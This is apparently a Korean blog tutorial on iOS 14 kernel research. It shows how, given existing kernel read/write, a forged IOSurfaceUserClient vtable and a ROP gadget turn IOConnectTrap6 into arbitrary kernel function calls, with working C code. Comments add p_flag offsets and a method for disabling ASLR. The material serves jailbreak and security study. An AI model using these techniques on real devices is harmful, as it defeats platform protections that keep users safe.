디버깅 사용환경:
iPhone 8 / 14.4.2
Reference:
이해하는데 사용될 Project:
https://gitlab.com/alias20/kcalltest14
https://github.com/jsherman212/ktrw
Userspace에서 IOConnectTrap6 함수를 호출하여 Kernel Call하기까지 호출 경로 (Backtrace)
fleh_synchronous
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/locore.s#L614
-> sleh_synchronous
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/sleh.c#L657
-> handle_svc
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/sleh.c#L1642
-> mach_syscall
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/arm64/bsd_arm64.c#L258
-> iokit_user_client_trap
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/iokit/Kernel/IOUserClient.cpp#L6198
kern_return_t
함수에 있는
iokit_user_client_trap(struct iokit_user_client_trap_args *args)
result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
위 코드에서 최대 6개의 인자와 함께 커널 함수를 호출해낼 수 있다.
kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args) { kern_return_t result = kIOReturnBadArgument; IOUserClient * userClient; OSObject * object; uintptr_t ref; ... if (kIOReturnSuccess == result) { trap = userClient->getTargetAndTrapForIndex(&target, args->index); } if (trap && target) { IOTrap func; func = trap->func; if (func) { result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6); } } iokit_remove_connect_reference(userClient); } return result; }
방법
이미 커널 읽기/쓰기 권한을 가졌다는 환경에서 진행해볼 것이다.
1.
AppleKeyStore나 IOSurfaceRoot 같은 등록된 기본 IOService 객체를 IOServiceGetMatchingServices
함수를 통해 찾는다.
그런다음, IOServiceOpen
함수를 통해 그 객체에 연결해서, 연결한 핸들을 의미하는 mach 포트인 user_client
를 가져온다.
uint64_t init_kcall_allocated(uint64_t _fake_vtable, uint64_t _fake_client, mach_port_t * _user_client) { uint64_t add_x0_x0_0x40_ret_func = off_add_x0_x0_0x40_ret_func + get_kslide(); io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); if (service == IO_OBJECT_NULL) { printf(" [-] unable to find service\n"); exit(EXIT_FAILURE); } mach_port_t user_client; kern_return_t err = IOServiceOpen(service, mach_task_self(), 0, & user_client); if (err != KERN_SUCCESS) { printf(" [-] unable to get user client connection\n"); exit(EXIT_FAILURE); } ... }
2.
아래와 같은 방법으로 IPC 공간내에서 엔트리를 찾는다.
find_port 함수는 ipc_entry_lookup 함수와 같다.
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/osfmk/ipc/ipc_entry.c#L94
uint64_t uc_port = find_port(user_client); ... uint64_t find_port(mach_port_name_t port){ uint64_t self_proc = proc_of_pid(getpid()); uint64_t task_addr = kread64(self_proc + off_p_task); uint64_t itk_space = kread64(task_addr + off_task_itk_space); uint64_t is_table = kread64(itk_space + off_ipc_space_is_table); uint32_t port_index = port >> 8; //MACH_PORT_INDEX const int sizeof_ipc_entry_t = 0x18; uint64_t port_addr = kread64(is_table + (port_index * sizeof_ipc_entry_t)); return port_addr; } uint64_t proc_of_pid(pid_t pid) { uint64_t proc = 0; kernRW_getKernelProc(&proc); while (true) { if(kread32(proc + off_p_pid) == pid) { return proc; } proc = kread64(proc + off_p_list_le_prev); if(!proc) { return -1; } } return 0; }
3.
IOSurfaceUserClient 클래스를 참고해 fake 객체와 fake vtable를 만드는데,
IOSurface vtable 중 add x0, x0, #0x40
가젯을 이용해 getTargetAndTrapForIndex
함수에서 호출되도록 만든다.
https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/iokit/IOKit/IOUserClient.h#L194
... uint64_t uc_addr = kread64(uc_port + 0x68); //#define IPC_PORT_IP_KOBJECT_OFF (0x68) // uint64_t uc_vtab = kread64(uc_addr); //0xFFFFFFF0078666C0 uint64_t fake_vtable = _fake_vtable; for (int i = 0; i < 0x200; i++) { kwrite64(fake_vtable + i * 8, kread64(uc_vtab + i * 8)); } uint64_t fake_client = _fake_client; for (int i = 0; i < 0x200; i++) { kwrite64(fake_client + i * 8, kread64(uc_addr + i * 8)); } kwrite64(fake_client, fake_vtable); kwrite64(uc_port + 0x68, fake_client); //#define IPC_PORT_IP_KOBJECT_OFF (0x68) kwrite64(fake_vtable + 8 * 0xB8, add_x0_x0_0x40_ret_func); *_user_client = user_client;
4.
IOConnectTrap6 함수를 이용하여 커널 함수를 호출해본다.
테스트할 함수는 300을 리턴하는 커널 주소를 대상으로 진행하였다.
int test_kcall(mach_port_t user_client, uint64_t fake_client) { uint64_t ret_300 = kcall(user_client, fake_client, off_ret_300 + get_kslide(), 0x4141414141414141, 0x4242424242424242, 0x4343434343434343, 0x4444444444444444, 0x4545454545454545, 0x4646464646464646, 0x4747474747474747); printf("ret_300: %llu\n", ret_300); ... } uint64_t kcall(mach_port_t user_client, uint64_t fake_client, uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { uint64_t offx20 = kread64(fake_client+0x40); uint64_t offx28 = kread64(fake_client+0x48); kwrite64(fake_client+0x40, x0); kwrite64(fake_client+0x48, addr); uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); kwrite64(fake_client+0x40, offx20); kwrite64(fake_client+0x48, offx28); return returnval; }
실제로 확인해보면, 커널 함수가 성공적으로 호출되어 300을 반환하는 것을 알 수 있다.
문제점?
해당 방법으로 최대 7개의 인자만큼 커널 함수를 호출할 수는 있지만,iokit_user_client_trap
함수의 리턴값이 kern_return_t = int형이므로
리턴값이 8바이트 형식 uint64_t일 경우, 4바이트 크기로 잘려서 반환된다.
따라서, 다음 글에서 JOP을 이용해서 이러한 문제점을 해결하는 글을 작성해볼 예정이다.
안녕하세요.
kfund 프로젝트를 공부중인데 분석을 잘 해두셔서 댓글 남겨봅니다.
proc 구조체의 p_flag라는 값이 ASLR을 disable할 수있다고 해서
이 값에 접근해보려고 합니다만, 정확한 주소값 계산을 못해 변경하기 쉽지 않네요.
혹시 p_flag에 대해 아시는 부분 있나요 ?
https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_exec.c#L4220
안녕하세요~ 답변이 조금 늦어서 죄송하지만, 글에 관심 가져주셔서 감사합니다.
구조체 오프셋을 구하는 방법은 여러가지가 있는데, 하나 말씀드리자면
macOS KDK를 다운받아 살펴보면 development 커널이 있습니다.
거기서 커널함수 심볼을 찾아 그 함수의 opcode를 아이폰 커널에서 검색해서 심볼을 찾는 방법이 있습니다.
proc_pidshortbsdinfo 함수를 보자면:
https://github.com/apple-oss-distributions/xnu/blob/xnu-8019.41.5/bsd/kern/proc_info.c#L786
해당 함수는 C0 04 00 54 3F 09 00 71 E1 04 00 54 09 00 82 52
opcode가 포함되어 있기 때문에 검색해보면 하나 나올겁니다
저 함수에서 p_flag 오프셋을 찾으시면 되는데,
구조체 필드 접근은 LDR 어셈블리를 사용하기 때문에 유심히 살펴보시면 될 것 같습니다.
https://github.com/apple-oss-distributions/xnu/blob/xnu-8019.41.5/bsd/kern/proc_info.c#L818
6s 15.7.6 기준: 0x264,
14pro 16.1.2 기준: 0x25c 오프셋으로 나오네요
먼저 친절한 답변 감사합니다.
답 확인부터 직접 해보기까지의 시간이 걸려 늦게라도 감사의 인사를 드립니다.
직접해보면서 느낀 궁금한점이 몇가지 있습니다.
1. 아이폰 커널 디버깅 방법
제가 아는 커널 디버깅 방법으로는 ktrw뿐인데 다른 방법에 대한 키워드를 받을 수 있을까요 ?
(현재 제가 공부하고 있는 버전은 ios16.6.1입니다. )
2. launchd 프로세스 p_flag 변경을 이용한 alsr disable
올려주신 Kfund 프로젝트에서 launchd 프로세스의 pid를 가져와서 kwrite후에
ssh로 연결해서 ptr address를 출력하고 있습니다. 이 방식도 가능할까요 ?
1. Corellium을 통해 커널 디버깅하는 방법이 있긴 합니다 (다만, 가격이…) 아니면 qemu-t8030 프로젝트를 사용하는 방법이 있을 것 같긴한데, 이에 대해선 안살펴봐서 잘 모르겠네요.
2. 질문을 제대로 잘 이해 못했는데, 가능하긴 할거에요..
답변 감사합니다
직접 테스트해봤는데 실제로 자식 프로세스에 ASLR disable 잘되는것 확인했습니다.
https://gist.github.com/wh1te4ever/49ee6b122ed52e895fc16ec4682d4cc8